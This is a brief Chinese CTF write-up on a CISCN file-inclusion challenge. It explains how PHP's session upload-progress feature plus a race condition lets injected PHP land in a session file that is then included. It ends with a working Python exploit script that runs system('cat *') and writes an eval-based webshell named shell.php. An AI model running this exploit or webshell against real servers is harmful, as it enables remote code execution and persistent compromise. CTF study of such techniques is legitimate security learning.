前些阵子CISCN中出了一道web的文件包含题目,即使非常简单,然鹅也败给了
PHP_SESSION_UPLOAD_PROGRESS
在php5.4.0后提供了一个用于检测上传进度的功能,这个功能会在文件上传的时候发送一个post请求来检查状态,对文件上传本身并没有什么作用,但是我们缺可以利用这个功能进行一些操作 如果在post请求中插入一句话木马让服务器生成一个/tmp/sess/文件我们就可以利用因此如果我们能够确定 session.upload_progress.enabled = On 存储Session的路径 我们就可以定义自己的SESSION ID 但还有另一个困难session.upload_progress.cleanup往往是开启的,他会在读取post信息后清除进度,但我们也可以利用条件竞争来解决
附赠大佬脚本
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://XXXXXXX',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://XXXXXXX?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
|